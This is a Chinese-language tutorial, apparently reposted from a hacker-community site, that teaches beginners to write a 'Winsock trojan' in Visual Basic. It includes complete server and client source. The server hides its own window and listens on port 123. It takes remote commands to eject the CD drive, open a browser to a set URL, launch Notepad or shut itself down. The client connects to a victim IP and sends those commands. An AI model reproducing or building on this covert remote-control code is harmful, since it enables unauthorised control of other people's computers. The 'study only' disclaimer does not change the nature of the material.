木马编程技巧系列教程之winsock木马制作[评价可免费]

◎⊙◎⊙◎⊙◎⊙◎⊙◎⊙◎⊙◎ ⊙ -=黑鹰红客基地=- ⊙ ⊙⊙◎⊙◎⊙◎⊙◎◎⊙◎⊙◎⊙◎⊙◎⊙◎⊙◎⊙◎⊙◎⊙◎⊙◎⊙ ◎ ◎ ◎ 普及红客安全技术 打造红客文化联盟 ◎ ⊙ 多抽出一分时间学习 让您的生命更加精彩 ⊙ 　◎ ◎ 　⊙　 本程序由黑鹰红客基地搜集整理，不承担技术及版权问题 ⊙ ◎ 要获得更多的程序或最新版本请随时关黑鹰红客基地 ◎ ⊙ ⊙ ◎ 黑鹰红客基地提供大量的商业、破解注册等相关软件下载 ◎ ⊙ 每日不定时多次更新，全心塑造无忧软件的世外桃源! ⊙ 　◎ ◎ ⊙◎⊙◎⊙◎⊙◎⊙◎⊙◎⊙◎⊙◎⊙◎⊙◎⊙◎⊙◎⊙◎⊙◎⊙◎⊙ ⊙ www.3800hk.com ⊙ ◎⊙◎⊙◎⊙◎⊙◎⊙◎⊙◎⊙◎ ================================================================= (二)木马编程技巧系列教程之winsock木马制作 ☆★ 欢迎光临 http://www.pyb.net.ru ★☆ =================================================================================== 自己写一个远程控制木马出来是很多朋友的愿望，但是苦于无人指点 所以迟迟未能如愿 今天我就做一个简单的远程控制的木马教程给大家 给一些菜鸟朋友们一点思路 旨在抛砖引玉 这个木马是利用VB中的WINDSOCK控件基于TCP/IP协议实现的 程序分为两部分 一个服务端 一个 是客户端 功能是远程打开光驱 运行对方程序 好了 下面我们开始今天的教程 首先来完成服务 端吧 看我操作 把窗体的borderstyele属性 选0 然后再工程 部件 里面添加 winsock控件 加代码 服务端完成 下面我们设计客户端 下面我们添加一些按钮 文本 控件 好了 界面设 计好了 下面我们把代码加进去 客户端也做好了 我们现在测试下 先来运行服务端 呵呵 被 杀 不好意思 忘记一点了 客户端 也要添加winsock控件的 呵呵 可以了 你们完全可以结合我以前的教程 把这个程序再设计得更完美一点 好了 教程结束了 程序完整代码如下： ================================================================================== 服务端代码： '声明部分(光驱打开和关闭要靠这个声明 如果不要光驱这个功能 这个可以省略) Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long Private Declare Function mciGetErrorString Lib "winmm.dll" Alias "mciGetErrorStringA" (ByVal dwError As Long, ByVal lpstrBuffer As String, ByVal uLength As Long) As Long Dim TrojanVersion As String '打开光驱 Function EjectCD() mciSendString "set CDAudio door open", 0, 0, 0 End Function '关闭光驱 Function CloseCD() mciSendString "set CDAudio door closed", 0, 0, 0 End Function Private Sub Form_Load() Winsock1.LocalPort = 123 '本地监听端口 Winsock1.Listen '开始监听 Me.Hide '隐藏窗体 End Sub Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long) '客户端连接时需要在这个事件中接受请求 If Winsock1.State <> sckClosed Then Winsock1.Close '检查控件的 State(状态) 属性是否为关闭的 如果不是就关闭他 Winsock1.Accept requestID '接受客户连接请求 End Sub Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) '利用这个事件来接受客户端发来的指令 DoEvents '转移系统控制权(就是把控制权还给系统拉) Dim strdata As String Call Winsock1.GetData(strdata$, vbString) '接收数据存入strdata DoEvents '转移系统控制权 If strdata = "CLOSEME" Then '如果接受到的数据是"CLOSEME" 就执行下面的代码 Unload Me Unload Me ElseIf strdata = "OPENCD" Then EjectCD '如果接受到的数据是"OPENCD" 就调用EjectCD函数(这个函数我们前面定义过了) DoEvents '转移系统控制权 ElseIf strdata = "CLOSECD" Then CloseCD '如果接受到的数据是"CLOSECD" 就调用CloseCD函数(这个函数我们前面定义过了) DoEvents '转移系统控制权 ElseIf strdata = "RUNWINIPCFG" Then '如果接受到的数据是"CLOSECD" 就打开ie Shell "C:\Program Files\Internet Explorer\IEXPLORE.EXE http://www.pyb.net.ru" ElseIf strdata = "RUNNOTEPAD" Then '如果接受到的数据是"RUNNOTEPAD" 就打开记事本 Shell "C:\windows\notepad.exe" End If End Sub ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 客户端代码： Private Sub Command1_Click() Winsock1.Close Winsock1.Connect Text1.Text, 123 '连接到文本框输入的ip，端口为123 End Sub Private Sub Command2_Click() '想服务端发送数据 就是发送一个字符串 服务端接受后会根据自己代码来判断这个字符执行什么操作 Dim stdata As String '发送打开光驱的字符串 stdata = "OPENCD" Winsock1.SendData stdata End Sub Private Sub Command3_Click() '关闭光驱的字符串 Dim strdata As String strdata = "CLOSECD" Winsock1.SendData strdata End Sub Private Sub Command6_Click() ' 停止服务端 Dim str3data As String str3data = "CLOSEME" Winsock1.SendData str3data Label1.Caption = "状态: 未连接" End Sub Private Sub Command4_Click() '运行ie Dim str1data As String str1data = "RUNWINIPCFG" Winsock1.SendData str1data End Sub Private Sub Command5_Click() '运行记事本 Dim str1data As String str1data = "RUNNOTEPAD" Winsock1.SendData str1data End Sub Private Sub Winsock1_Connect() Label1.Caption = "状态: 已连接!" Me.Caption = "WINSOCK木马连接中" Winsock1.SendData "TROJAN" End Sub Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) '接收服务端发送的数据 Dim strdata1, strdata2, strdata3, strdata4 As String Winsock1.GetData strdata1, vbString Label1.Caption = "状态: 准备好了!" Label2.Caption = "版本: " + strdata1 End Sub ================================================================================== 如果有幸被收录为vip动画（有稿费那种） 则不向别的站点发布这个动画 ================================================================================== ================================================================= 声明: 1.请遵守中华人民共和国相关法律、条例。 2.本站提供的各类工具，文章和动画，只可研究学习，本站对使用这些工具， 文章和动画而导致的一切后果，不承担任何责任。 3.本站不保证提供的软件和动画十分安全或是完全可用，请下载后自行检查。 4.站内提供的软件包含破解及注册码均是由网上搜集，若无意中侵犯到您的 版权利益，敬请来信联系我们。我们会在收到信息后立即处理！ 5.本站仅仅提供一个观摩学习的环境，将不对任何资源负法律责任。所有资 源请在下载后24小时内删除。如果您觉得满意,请购买正版，唯有如此才能 更好支持你所喜欢的软件更好发展！本站严厉谴责和鄙夷一切利用本站资 源进行牟利的盗版行为！ =========================================================================